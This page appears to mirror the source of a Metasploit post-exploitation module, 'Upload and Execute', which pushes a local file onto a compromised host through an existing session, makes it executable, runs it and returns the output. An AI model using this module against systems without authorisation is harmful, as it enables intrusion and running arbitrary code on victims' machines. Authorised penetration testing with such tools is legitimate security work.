Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/manage/upload_exec.rb
19850 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Exploit::FileDropper
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Upload and Execute',
15
'Description' => %q{Push a file and execute it.},
16
'Author' => 'egypt',
17
'License' => MSF_LICENSE,
18
'Platform' => ['win', 'unix', 'linux', 'osx', 'bsd', 'solaris'],
19
'SessionTypes' => ['meterpreter', 'shell'],
20
'Notes' => {
21
'Stability' => [CRASH_SAFE],
22
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
23
'Reliability' => []
24
}
25
)
26
)
27
28
register_options([
29
OptPath.new('LPATH', [true, 'Local file path to upload and execute']),
30
OptString.new('RPATH', [false, 'Remote file path on target (default is basename of LPATH)']),
31
OptString.new('ARGS', [false, 'Command-line arguments to pass to the uploaded file']),
32
OptInt.new('TIMEOUT', [true, 'Timeout for command execution', 60])
33
])
34
end
35
36
def run
37
print_status("Uploading #{lpath} to #{rpath}")
38
upload_file(rpath, lpath)
39
register_file_for_cleanup(rpath)
40
41
if session.platform == 'windows'
42
# Don't use cmd.exe /c start so we can fetch output
43
cmd = rpath
44
else
45
# Set 700 so only we can execute the file
46
chmod(rpath, 0o700)
47
48
# Handle absolute paths
49
cmd = rpath.start_with?('/') ? rpath : "./#{rpath}"
50
end
51
52
print_status("Executing command: #{cmd}")
53
output = cmd_exec(cmd, args, timeout)
54
55
if output.blank?
56
print_status('Command returned no output')
57
else
58
print_line(output)
59
end
60
end
61
62
def lpath
63
datastore['LPATH']
64
end
65
66
def rpath
67
datastore['RPATH'].blank? ? File.basename(lpath) : datastore['RPATH']
68
end
69
70
def args
71
datastore['ARGS']
72
end
73
74
def timeout
75
datastore['TIMEOUT']
76
end
77
end
78
79